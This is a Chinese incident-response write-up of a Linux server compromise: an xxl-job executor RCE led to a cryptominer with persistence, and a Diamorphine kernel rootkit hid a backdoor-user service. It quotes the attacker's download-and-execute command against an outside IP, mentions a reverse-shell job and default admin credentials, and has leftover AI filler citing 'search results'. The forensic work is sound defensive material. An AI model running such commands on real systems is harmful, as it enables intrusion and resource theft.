记录某次“有趣的“挖矿木马排查

挖矿木马是什么?

挖矿木马是一种恶意软件,它在用户不知情或未经同意的情况下,利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币,如比特币或门罗币等。挖矿木马通常通过漏洞利用、弱口令爆破或非法应用传播等手段植入用户的计算机系统中。

挖矿木马对受害者的影响主要表现在以下几个方面:

  1. 资源消耗:挖矿木马会占用大量的CPU或GPU资源,导致计算机运行缓慢,影响正常使用。

  2. 电费增加:由于挖矿需要大量电力,受害者可能会面临电费的异常增加。

  3. 系统安全风险:挖矿木马可能会携带其他恶意软件,增加系统被进一步攻击的风险。

挖矿木马的攻击形式与其他类型的木马相似,但获利方式不同。它们通过加密货币的挖矿来获得利益,即使在加密货币价格下跌的情况下,其收益可能依然高于其他如DDoS服务或加密勒索等获利方式,挖矿木马的攻击趋势和加密货币的价格并没有明显的关联。即使在某些加密货币价格下跌的情况下,挖矿木马的攻击数量并没有显著减少,这表明攻击者更看重挖矿木马的隐蔽性和较低的法律风险,针对Windows服务器的挖矿木马占据大多数,因为服务器性能较高且疏于看管,但针对个人电脑的挖矿木马也不容忽视,挖矿木马的清理和防护需要采取一系列措施,包括隔离受感染主机、阻断异常网络通信、清除计划任务、检查并清除异常动态链接库、删除可疑SSH公钥以及使用安全工具进行系统风险排查和加固。总的来说,挖矿木马是一种严重的网络安全威胁,需要用户和企业提高警惕,采取有效的安全措施进行防范和应对。

动态链接器劫持rootkit?

动态链接器劫持rootkit是一种恶意软件技术,它利用了Linux系统中的动态链接库(Dynamic Link Library,DLL)预加载机制来隐藏其存在和行为。这种技术允许攻击者在程序启动前指定额外的共享库,这些共享库中的函数可以覆盖或包装(wrap)程序原本的函数调用。通过这种方式,rootkit可以隐藏进程、文件、网络连接等,使得系统管理员难以发现其存在。

具体来说,动态链接器劫持涉及到以下几个关键点:

  1. LD_PRELOAD环境变量:这是一个环境变量,可以指定在程序运行前优先加载的动态链接库。通过设置这个环境变量,可以加载一个恶意的动态链接库,从而劫持程序的行为。

  2. /etc/ld.so.preload配置文件:这个配置文件也可以用来指定在程序启动时预加载的动态链接库。如果这个文件被篡改,可以导致恶意的动态链接库被加载。

  3. 全局符号介入:在动态链接库中,如果存在与程序中调用的库函数同名的全局符号,那么预加载的全局符号会覆盖后面加载的同名符号,从而实现劫持。

  4. 隐藏进程和TCP连接:通过劫持如opendirreaddir这样的系统函数,rootkit可以控制对/proc目录的访问,从而隐藏特定的进程或TCP连接信息。

  5. 检测和处置:可以使用工具如strace来追踪系统命令的加载情况,或者使用busybox执行命令来避免被劫持的命令影响。处置方法可能包括清除被篡改的环境变量或配置文件,删除恶意的动态链接库文件,以及使用相同系统的相同版本动态链接器替换被修改的动态链接器。

这种技术是rootkit常用的手段之一,目的是在不被系统管理员发现的情况下维持对系统的控制。根据搜索结果中提供的信息,以下是相关的索引编号:

  • 1:提供了关于Linux库文件劫持的概述和原理,以及利用方式和检测处置方法。

  • 2:解释了动态链接库函数劫持的原理,并给出了一个简单的示例。

  • 3:讨论了如何利用预加载动态链接库来隐藏进程或TCP连接,这是rootkit技术的一部分。

  • 5:简要介绍了Linux内核级rootkit技术,虽然不是直接关于动态链接器劫持,但提供了rootkit的背景信息。

  • 6:对rootkit进行了概述,说明了它是一种技术,而不是特定的恶意软件。

/var/log/secure日志文件记录什么?

/var/log/secure日志文件在基于Red Hat的Linux发行版(如CentOS、RHEL等)中通常用于记录与安全相关的信息。这个日志文件包含了系统的认证信息,例如用户登录尝试、权限变更、系统安全事件等。以下是/var/log/secure日志文件可能包含的一些内容:

  1. 用户登录和注销:记录所有用户的登录和注销活动,包括成功和失败的尝试。

  2. 密码更改:记录用户更改密码的活动。

  3. 权限变更:记录用户权限变更的事件,如使用sudo命令执行操作。

  4. 系统启动和关闭:记录系统的启动和关闭事件。

  5. SSH活动:记录通过SSH服务进行的所有连接尝试,包括来自何处的连接、连接是否成功、使用的认证方法等。

  6. 防火墙和SELinux事件:记录防火墙规则变更和SELinux安全策略违规事件。

  7. 系统警告和错误:记录系统生成的警告和错误信息,可能与安全相关。

  8. 服务和守护进程的启动和停止:记录关键服务和守护进程的启动和停止事件。

  9. 审计日志:如果系统配置了审计(auditd),相关的审计事件也会被记录在这个日志中。

由于/var/log/secure日志文件包含了大量的敏感信息,因此它对于系统管理员来说非常重要,可以帮助他们监控和分析系统的安全状况。同时,它也是安全审计和事故响应过程中的关键资源。

请注意,不同的Linux发行版可能会有不同的日志文件命名约定和配置。例如,在基于Debian的系统(如Ubuntu)中,安全日志可能被记录在/var/log/auth.log文件中。因此,具体查看哪个日志文件,需要根据你所使用的操作系统和配置来确定。


场景说明:

某客户由于网络管理员个人失误,将某应用服务器的80、9999端口对外开放。2023年04月06日,运维人员收到主机CPU性能告警,且通过流量设备监测到主机有外联矿池的行为。由于运维人员应急响应水平有限,对服务器进行了一次重启,使得“案发现场”遭收到一定程度的破坏。但发现主机被添加了后门账户 tomcat。

事件分析过程

1、根据场景描述,应⽤服务器的80、9999端⼝对外开放。查看端⼝信息,发现80端⼝对应nginx服务,9999端⼝
对应xxl-job执⾏器进程,猜测攻击者很⼤概率使⽤了xxl-job的远程命令执⾏漏洞获取服务器权限:

图片

注:XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令

图片

2、使⽤top等命令查看进程,未发现占⽤CPU过⾼的进程,怀疑攻击者使⽤了 mount bind、动态链接器劫持、替换操作系统命令等⼿法对进程进⾏了隐藏:

图片

1.Mount Bind(文件系统挂载绑定)
在操作系统中,`mount bind` 是一种挂载技术,它允许你将一个文件或目录挂载到另一个位置,使得你可以在两个不同的地方访问相同的数据。这在创建一个临时的文件系统视图或者进行文件系统操作时非常有用。挂载绑定通常通过 `mount` 命令的 `--bind` 参数实现。
例如,以下命令将目录 /source 挂载到 /target:
mount --bind /source /target
这意味着对 `/target` 的任何更改都会反映在 `/source` 上,因为它们实际上是同一个文件系统对象。2.动态链接器劫持(Dynamic Linker Hijacking)
动态链接器劫持是一种恶意软件攻击技术,它通过替换或修改程序运行时依赖的共享库来执行恶意代码。在Unix和Linux系统中,程序在运行时会使用动态链接器(如ld.so)来加载共享库。
攻击者通过将恶意的共享库文件放置在程序的搜索路径前面,使得程序加载时优先找到并使用了这个恶意的共享库,而不是真正的系统库。这样,当程序运行时,实际上是在执行攻击者的代码。
例如,攻击者可能会创建一个名为 libcrypto.so.1.1 的恶意共享库文件,并将其放置在程序的 LD_LIBRARY_PATH 环境变量指定的路径中。当依赖这个库的程序运行时,由于 LD_LIBRARY_PATH中的路径会被优先搜索,程序可能会加载并执行这个恶意的 libcrypto.so.1.1 文件,而不是系统中正常的库文件。

3、使⽤busybox执⾏top命令,成功发现挖矿进程,对应的挖矿程序为“/tmp/kdevtmpfsi”:

busybox 安装
wget  https://busybox.net/downloads/busybox-1.31.0.tar.bz2 --no-check-certificate  (如果报错,根据报错信息在让你加什么参数就加上去)
tar -xjvf busybox-1.31.0.tar.bz2
cd busybox-1.31.0/ 
make defconfig && make install
vi /etc/profile   (添加 export PATH=/root/busybox-1.31.0/_install/bin:$PATH )
source /etc/profile

图片

4、查看挖矿程序落地时间信息,发现为 2023-04-07 02:33:04 前后,明显与2023年04⽉06⽇发现挖矿相关告警的
信息不符合,猜测挖矿程序进⾏了⾃更新等:busybox ls -al /tmp/

图片

5、同样使⽤busybox,发现挖矿⽊⻢守护程序 "/etc/kinsing" ,落地时间为“2023-04-06 18:33:29”:

busybox netstat -anltp

图片

图片

守护程序的判断:pstree工具
pstree命令是用于查看进程树之间的关系,即哪个进程是父进程,哪个是子进程,可以清楚的看出来是谁创建了谁
守护进程的行为特征:守护进程通常具有自我恢复的特性,即如果主挖矿进程被终止,守护进程会重新启动它。您可以观察可疑进程的行为,尝试终止它并看它是否会自我重启。
1.进程监控:使用如 pstree 这样的工具来查看进程树,这有助于识别可疑进程的父进程和子进程,守护进程可能会监控挖矿进程及其子进程。
(pstree命令是用于查看进程树之间的关系,即哪个进程是父进程,哪个是子进程,可以清楚的看出来是谁创建了谁)
2.定时任务和服务检查:检查系统计划任务(如使用 crontab -l)和服务(如使用 systemctl list-unit-files),看是否有未知或可疑的定时任务或服务,这些可能是守护进程设置的。
3.网络连接分析:守护进程可能会与外部服务器(如C2服务器)保持通信。使用 netstat -anp | grep PID 查看与可疑进程相关的网络连接。
4.文件和路径分析:检查可疑进程的可执行文件路径,使用 ls -l /proc/PID/exe 来找到实际的文件路径。挖矿木马的守护程序可能会存放在不寻常的位置。
5.进程持久性:守护进程可能会通过修改系统设置实现自启动。检查系统的自启动项,如启动脚本、系统服务等。
6.系统资源监控:守护进程可能会占用一定的系统资源来维持其运行,监控CPU和内存使用情况,看是否有异常。
7.日志文件审查:查看系统日志文件,如 /var/log/syslog 或 /var/log/messages,可能会发现守护进程的启动和运行痕迹。
8.反向DNS查询:对可疑进程建立的网络连接进行反向DNS查询,以确定连接的域名和服务器。
9.威胁情报平台:利用威胁情报平台查询可疑进程的IP地址和域名,看它们是否有恶意行为的历史记录。

6、检查系统的 LD_PRELOAD 环境变量以及 /etc/ld.so.preload ⽂件,确认是否使⽤了动态链接器劫持的⼿法对进程实现隐藏。发现了异常的动态链接库⽂件"/etc/libsystem.so",落地时间为“2023-04-06 18:33:30”:

检查系统的 LD_PRELOAD 环境变量:busybox echo $LD_PRELOAD

图片

检查/etc/ld.so.preload ⽂件: busybox cat /etc/ld.so.preload

图片

发现异常动态链接库⽂件"/etc/libsystem.so"落地时间 busy stat /etc/libsystem.so:

图片

检查/etc/ld.so.preload ⽂件落地时间:busybox stat /etc/ld.so.preload

图片

7、检查系统的定时任务,包括/etc/cron.d/、/etc/crontab等⽬录以及⽂件,发现 “/var/spool/cron/root” ⽂件存在异常定时任务,⽂件修改时间为“2023-04-06 18:38:43”:

图片

8、检查cron⽇志,发现执⾏的定期任务发⽣过改变,猜测是挖矿⽊⻢进⾏过版本更新,或者是两批次的挖矿⽊
⻢。从命令的编写⻛格来看,偏向第⼀种可能性,第⼀次定期任务执⾏时间为 Apr 6 18:34:01:

图片

9、再检查挖矿⽊⻢是否采⽤了开机启动的⽅式进⾏持久化,先确认了涉事服务器为 CentOS 7版本,init系统为
systemd:

图片

图片

10、因此,可针对性的去检查systemd系统的驻留点,例如/usr/lib/systemd/system/等⽬录。按时间对systemd系统的相关⽬录进⾏时间排序,发现异常⾃启动项bot.service,⽤于启动挖矿⽊⻢守护程序。修改时间为“2023-04-06 18:33:31”:

图片

图片

图片

11、对⼿头的信息以时间为主线进⾏整理:

时间loCS
2023-4-6 18:33:29/etc/kinsing(挖矿木马守护程序)
2023-04-06 18:33:30/etc/libsystem.so(动态链接器劫持rootkit)
2023-4-6 18:33:31/etc/systemd/system/multi-user.target.wants/bot.service(挖矿木马守护程序开启启动文件)
2023-4-6 18:34:01/var/log/cron(第一次异常定时任务执行时间)
2023-4-6 18:38:43/var/spool/cron/root(定时任务文件修改时间)
2023-4-7 02:33:04/tmp/kdevtmpfsi(挖矿程序)

可以看到,攻击者最先落地挖矿⽊⻢守护程序/etc/kinsing到服务器,并且建⽴开机启动项、计划任务等持久化。后来由于挖矿程序进⾏了⾃更新,定时任务⽂件修改时间和挖矿程序发⽣过改变(判断是否为⾃更新发⽣的改变,可以进⾏逆向分析或者上传IoCs到沙箱,确认IoCs是否属于同⼀挖矿⽊⻢家族)。

溯源

1、最开始提到,系统开放了80、9999端⼝到互联⽹。9999端⼝已经确认为xxl-job的执⾏器,如果版本低于
2.2.0,则存在未授权的远程命令执⾏漏洞。80端⼝为nginx,充当代理服务器的功能,将流量转发到8090的业务
端⼝,以及8080的xxl-job-admin管理控制台:

图片

cat default.conf |less

图片

2、查看进程,发现xxl-job-admin和xxl-job-executor,是以jar包的形式启动的Web服务,且只有xxl-job-admin
服务被nginx转发,可能记录到web access⽇志:

图片

图片

3、分析nginx⽇志,发现存在异常互联⽹ IP 50.7.158.106(⽇本 东京都 东京)的访问记录:

cat /var/log/nginx/access.log

图片

4、该 IP 从 06/Apr/2023:18:46:38开始,对服务器进⾏了⼤量的⽬录爆破尝试。但该时间点明显晚于前⾯所说
的/etc/kinsing(挖矿⽊⻢守护程序)落地时间2023-04-06 18:33:29:

图片

5、登录xxl-job-admin前台,发现存在默认⼝令(admin/123456),发现异常任务:

图片

6、查看任务详情,发现存在反弹shell的执⾏记录:

图片

7、查看异常任务的调度⽇志:
8、发现被执⾏器执⾏过的脚本会存放在“/data/applogs/xxl-job/jobhandler/gluesource/”⽬录(也可通过官⽹⼿
册了解到):

图片

9、查看“/data/applogs/xxl-job/jobhandler/gluesource/”⽬录,发现存在两个被xxl-job执⾏器执⾏过的脚本。
其中1_1586699003758.sh的⽂件内容于/var/log/cron⽇志中发现的异常定时任务基本⼀致,脚本修改时间为
2023-04-06 18:33:15。由此可以确定,攻击者利⽤了xxl-job的漏洞,获取服务器权限后,于2023-04-06 18:33:15
执⾏的“wget -q -o - 119.29.52.250/xx.sh && /bin/bash xx.sh”命令,植⼊挖矿⽊⻢。⽽另⼀个被xxl-job执⾏器执
⾏过的脚本内容为反弹shell,落地时间为2023-04-06 18:55:30,与nginx access⽇志中互联⽹ IP 50.7.158.106
(⽇本 东京都 东京)的访问记录相近,猜测存在两个攻击者先后对服务器进⾏了攻击:

图片

10、但1_1586699003758.sh脚本的执⾏记录没有在后台“任务管理”以及nginx⽇志中留存记录,猜测攻击者是直
接对执⾏器的9999端⼝进⾏的漏洞利⽤,⽽不是利⽤xxl-job-admin进⾏任务下发。对猜想进⾏复现:

图片

11、发现命令成功执⾏,⽽且1_1586699003758.sh被覆盖,由此可以证实,攻击者确实是直接利⽤xxl-job执⾏器的9999端⼝的未授权远程命令执⾏漏洞(参考:https://vulhub.org/#/environments/xxl-job/unacc/ )植入了挖矿⽊⻢。⽽且⾃动化的⼀键getshell以及⾃动化的⼀键植⼊确实更符合挖矿⽊⻢团伙的特点:

⾄此,挖矿⽊⻢相关的分析到此结束。

图片

图片

后⻔账户事件

1、题⽬中还提到,管理员发现系统被植⼊了tomcat后⻔账户。⽽且前⾯分析挖矿⽊⻢时,发现存在攻击者⼿⼯
(先⽬录爆破、再默认⼝令登录、再下发命令执⾏脚本)对80端⼝进⾏了渗透,然后反弹shell。从⾏为上来看,
与⾃动化程度较⾼的挖矿⽊⻢团伙⻛格存在较⼤差异,猜测为⼈为的针对性⼊侵。

2、先检查/var/log/secure⽇志,发现tomcat后⻔⽤户于Apr 7 02:32:00被添加。⽽恰好在last⽇志中发现,管理员在Fri Apr 7 02:31进⾏过⼀次服务器的重启(题⽬中给出),并于Fri Apr 7 02:32进⾏了ssh登录:

图片

图片

3、由此,猜测⿊客留存了⼀个后⻔⽂件⽤于添加后⻔⽤户tomcat,并设置了开机启动,或者由登录这个动作触发执⾏。
4、检查/etc/profile等⽂件,未发现异常的Unix shell 配置。
5、前⾯检查systemd开机启动驻留点时,也未发现其他异常的开机启动项。
7、尝试使⽤find命令全盘搜索⽂件内容包含tomcat关键字的⽂件,⽆果。
8、由此,猜测可能是开机启动项中存在某个⽂件被攻击者使⽤了rootkit进⾏隐藏。Linux常⻅的rootkit为动态链
接器劫持型,以及LKM型。动态链接器劫持已经排除,因此开始检查LKM类型的rootkit。
9、可加载内核模块(Loadable Kernel Modules,LKM)是可以根据需要加载和卸载到内核中的代码⽚段。它们
⽆需重启系统即可扩展内核的功能,例如设备驱动程序。默认情况下,modprobe 尝试从/lib/modules/<kernel_version>/kernel/ ⽬录加载模块。某些模块具有依赖性,即在加载相关模块之前必
须加载的其他内核模块。模块依赖项列表由 depmod 程序⽣成和维护,该程序会在安装内核或驱动程序包时⾃动运⾏。depmod 程序将依赖项列表保存在 /lib/modules/<kernel_version>/modules.dep ⽂件中。modprobe 命令在执⾏操作时总是读取 modules.dep ⽂件。当您要求 modprobe 加载特定内核模块时,它⾸先检查该模块的依赖项,如果它们尚未加载到内核中则加载它们。
10、因此,先检查/lib/modules/<kernel_version>/modules.dep ⽂件,发现修改时间为2023-04-06 19:09:10。
11、查看⽂件结尾,记录的内核模块为kernel/diamorphine.ko:</kernel_version></kernel_version></kernel_version>

图片

12、对应⽂件为/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko,⽂件修改时间为“2023-04-06 19:08:37”:

图片

13、对⽂件进⾏提取,并使⽤沙箱进⾏分析,以及进⾏互联⽹搜索,发现对应的github项⽬为——https://github.com/m0nad/Diamorphine
14、项⽬⽂档指出的卸载⽅法如下:

图片

15、将驱动⽂件卸载后,再次对开机启动项等地⽅进⾏检查,发现异常启动项:

图片

16、对secret_adduser.service服务进⾏确认,发现调⽤了/tmp/secret_adduser.sh脚本,脚本实现的功能正是添
加tomcat⽤户。diamorphine.ko驱动模块的作⽤就是对系统中secret_前缀的⽂件进⾏隐藏,所以在未卸载驱动
前,⽆法发现/usr/lib/systemd/system/secret_adduser.service⽂件。

图片

图片

17、另外,驱动模块⽂件想在引导过程中实现⾃启动的话(管理员重启了⼀次服务器,diamorphine.ko驱动模块仍能⾃⾏启动),不同操作系统下存在不同的⽅式,对于 CentOS 7 系统版本,官⽹给出的⽅式是为驱动创建配置⽂件/etc/modules-load.d/<module_name>.conf。因此,如果驱动对⾃身⽂件/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko进⾏隐藏,⽆法正常提取⽂件时,可以尝试先删除⾃启动项,再重启机器进⾏提取,甚⾄使⽤LiveCD进⾏提取:</module_name>

图片

18、⾄此,后⻔账户事件分析完毕。

思路图谱

图片

命令合集

netstat -anoltp :查看端口信息

ps aux|grep 1613 :过滤出与 1613 相关的进程信息

busybox top :打开"任务管理器"

busybox ls -al /tmp/ :查看目录下程序落地时间信息

cat filename :查看文件内容

stat filename 显示文件信息

感悟与总结

在进行挖矿木马排查的过程中,确实,命令的使用只是手段,而排查的思路和方法才是关键。面对复杂的网络安全问题,一个清晰的思路能够帮助我们快速定位问题,制定出有效的排查策略。首先,我们需要了解挖矿木马的常见行为特征。挖矿木马通常会消耗大量的系统资源,如CPU和内存,以执行加密货币挖矿操作。因此,排查的第一步往往是监控系统资源的使用情况。使用如`top`、`htop`等工具可以快速查看哪些进程正在消耗大量的资源,这为我们提供了初步的线索。我们需要对可疑进程进行深入分析。通过`ps`命令查看进程详细信息,使用`lsof`查看进程打开的文件和网络连接,以及使用`netstat`分析网络连接状态,都是排查过程中不可或缺的步骤。这些命令能够帮助我们进一步确认进程的性质,以及它们是否与外部挖矿服务器有通信。此外,日志分析也是排查过程中的重要环节。通过分析系统日志文件,如`/var/log/auth.log`、`/var/log/syslog`等,我们可以寻找到异常登录尝试、权限变更等行为的记录。这些信息对于构建攻击时间线、理解攻击者的行动模式至关重要。在排查过程中,我们还需要考虑系统的完整性。使用如`chkrootkit`、`rkhunter`等工具检查系统是否被植入了后门或rootkit,确保系统的安全性。最后,攻击者画像的构建需要我们综合考虑各种信息。通过分析攻击者的行为模式、使用的技术和工具,以及攻击的目的,我们可以构建出一个攻击者的大致轮廓。这不仅有助于我们更好地理解攻击,也为未来的安全防护提供了方向。在整个排查过程中,保持耐心和细致是非常重要的。每一个小的细节都可能是解决问题的关键。同时,持续学习和更新知识也是必不可少的,因为网络安全是一个不断发展变化的领域,新的攻击技术和手段层出不穷。总之,挖矿木马排查不仅仅是使用命令那么简单,它需要我们具备系统的安全知识、敏锐的洞察力和严谨的逻辑思维。通过不断的实践和学习,我们可以提高排查的效率和准确性,为客户提供更为专业和负责的服务。

更多网络安全优质免费学习资料与干货教程加v

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3280582.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

微软蓝屏事件:全球网络安全与系统稳定性的警示

文章目录 每日一句正能量前言探讨软件更新流程中的风险管理和质量控制机制软件更新的风险风险管理策略质量控制措施测试流程缺陷识别实施质量控制结论 提供预防类似大规模故障的最佳方案或应急响应对策设计冗余系统实施灾难恢复计划建立高可用架构应急响应对策利用自动化工具和…

豆瓣9.9分!大名鼎鼎的深度学习入门书“鱼书”更新第二版了!带你深刻理解神经网络!

大家应该都知道这本非常有名的著作吧&#xff1a;《深度学习入门&#xff0c;基于python的理论与实现》。 这是更新的第二版&#xff0c;是由日本作者斋藤康毅所著的一本关于深度学习的书籍。这本书的出版社是人民邮电出版社&#xff0c;出品方是图灵教育。这本书的原名是“ゼロ…

vue给数组对象赋值改变对象里面的数据,数据没有更新this.$set

替换数组startTime的值&#xff1a; 原数据 this.serviceTimeList.push({serviceTimeName: 服务时间段,startTime: this.startTime,endTime: this.endTime,currentDateStart: this.currentDate,currentDateEnd: this.currentDate}) this.$set(this.array, index, newValue); …

Day12--Servlet实现前后端交互(案例:学生信息管理系统登录页面)

&#xff08;在一个完整的项目架构中&#xff0c;servlet的角色和位置&#xff09; Servlet、GenericServlet和HttpServlet三者之间的关系是Java Web开发中的一个重要概念&#xff0c;它们共同构成了基于Java的服务器端程序的基础。以下是具体分析&#xff1a; 1. Servlet接口…

AI技术革命对未来就业的影响

一、引言 AI技术革命带来的就业结构变化是双面的&#xff0c;既存在着挑战也蕴含着机遇。过去的几次技术革命例如工业革命和信息技术革命都对就业结构产生了深刻的影响&#xff0c;使一些工作消失&#xff0c;也催生了许多新的工作类型。当前和未来的AI技术发展也必将推动类似…

【HadoopShuffle原理剖析】基础篇二

Shuffle原理剖析 Shuffle&#xff0c;是指对Map输出结果进行分区、排序、合并等处理并交给Reduce的过程。分为Map端的操作和Reduce端的操作。 Shuffle过程 Map端的Shuffle Map的输出结果首先被缓存到内存&#xff0c;当缓存区容量到达80%&#xff08;缓冲区默认100MB&#xff…

基于FPGA的数字信号处理(20)--半加器和全减器

1、前言 既然有半加器和全加器&#xff0c;那自然也有半减器和全减器了。尽管在电路中减法的实现基本都是 补码 加法 的形式&#xff0c;但是正所谓技多不压身&#xff0c;了解一下半减器和全减器还是有一定作用的&#xff0c;至少能扩宽知识面嘛。 2、半减器 最简单的减法器叫…

RFID分体式天线如何选购?

分体式读写器天线具有可与RFID读写器分离部署&#xff0c;在远距离读写、集成应用等场景下拥有十分广泛的应用。下面我们就跟大家一起来了解一下&#xff0c;分体式天线选购的要点有哪些? 分体式天线的选购要点主要包括以下几个方面&#xff1a; 一、明确使用需求 应用场景…

机器学习(五) -- 无监督学习(2) --降维2

系列文章目录及链接 上篇&#xff1a;机器学习&#xff08;五&#xff09; -- 无监督学习&#xff08;2&#xff09; --降维1 下篇&#xff1a; 前言 tips&#xff1a;标题前有“***”的内容为补充内容&#xff0c;是给好奇心重的宝宝看的&#xff0c;可自行跳过。文章内容被…

仪器内部压力不稳定的原因分析

仪器的液路压力波动可能由多种原因引起&#xff0c;具体分析如下&#xff1a; 气泡的影响&#xff1a; 流动相未平衡或柱箱温度不稳定时&#xff0c;容易在色谱柱内产生气泡。泵作用下&#xff0c;流动相中的空气可能会分离出来&#xff0c;留在泵体内排不出去。使用梯度程序时…

vmware 设置ip

要用xshell连接vmware虚拟机&#xff0c;要指定虚拟机的ip地址。 进入虚拟机&#xff0c;用ifconfig命令&#xff0c;看下ip 试了下连接192.168.122.1 连接不上&#xff0c;需要重新设置一个。 1&#xff0c;查看电脑的IP地址 winr,输入cmd&#xff0c;再输入ipconfig 看下本…

Java刷题: 丑数判断

题目 丑数 就是只包含质因数 2、3 和 5 的正整数。 给你一个整数 n &#xff0c;请你判断 n 是否为 丑数 。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 解题思路 我觉得刷题是为了扩宽思考的广度。看到这题的时候&#xff0c;我的大脑是发懵的…

letcode - string

翻转字符串 344. 反转字符串 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/reverse-string/ class Solution { public:void reverseString(vector<char>& s) {reverse(s.begin(),s.end());//直接上逆置接口} }; 函数签名: void reverseStr…

redis的代码开发

redis是什么? 前提:官网地址https://redis.io 1.Redis是一个开源的,key,value格式的,内存型数据结构存储系统;它可用作数据库、缓存和消息中间件。 value支持多种类型的数据结构如strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglo…

VMware虚拟机安装及虚拟机下安装ubuntu(附安装包)

VMware虚拟机安装及虚拟机下安装ubuntu 0 前期准备1 VMware安装2 VMware虚拟机下安装ubuntu2.1 配置虚拟机2.2 安装虚拟机ubuntu 3 在虚拟机中卸载Ubuntu参考 0 前期准备 1、VMware Wworkstation Pro安装包下载 官网-添加链接描述 百度网盘分享&#xff1a; 链接: VMware 提取…

【实践出真知】使用Docusaurus将md文档组织起来就是一个网站(写API文档,写教程、写日记、写博客的有福了)

文章目录 前言一、Docusaurus 是什么&#xff1f;二、一键生成网站框架并预览1. 系统需求2. 脚手架项目网站&#xff08;一键生成网站框架&#xff09;3. 生成的目录内容4. 网站运行与展示 总结 前言 前段时间&#xff0c;学习Flet&#xff0c;访问到Flet中文网&#xff0c;被…

Golang `os/signal`包详解:全面掌握信号处理技巧

Golang os/signal包详解&#xff1a;全面掌握信号处理技巧 1. 引言2. os/signal包简介2.1 基本功能2.2 主要用途2.3 基本概念2.4 使用方法 3. 信号的类型和使用场景3.1 常见的操作系统信号3.2 信号的使用场景3.2.1 优雅关闭程序3.2.2 重新加载配置文件3.2.3 处理子进程退出 4. …

Chapter 21 深入理解JSON

欢迎大家订阅【Python从入门到精通】专栏&#xff0c;一起探索Python的无限可能&#xff01; 文章目录 前言一、JSON数据格式1. 什么是JSON&#xff1f;2. JSON数据的格式 二、JSON格式数据转化三、格式化JSON数据的在线工具 前言 在当今数据驱动的世界中&#xff0c;JSON&…

【iOS】线程同步读写安全技术(锁、信号量、同步串行队列)

目录 多线程安全隐患存钱取钱问题卖票问题 解决方案1. 锁自旋锁OSSpinLockos_unfair_lockatomic 互斥锁pthread_mutex_t条件pthread_cond_t&#xff08;线程检查器&#xff09;NSLock&NSRecursiveLock&#xff08;递归锁&#xff09;NSCondition&#xff08;条件锁&#xf…

C++ | Leetcode C++题解之第307题区域和检索-数组可修改

题目&#xff1a; 题解&#xff1a; class NumArray { private:vector<int> tree;vector<int> &nums;int lowBit(int x) {return x & -x;}void add(int index, int val) {while (index < tree.size()) {tree[index] val;index lowBit(index);}}int p…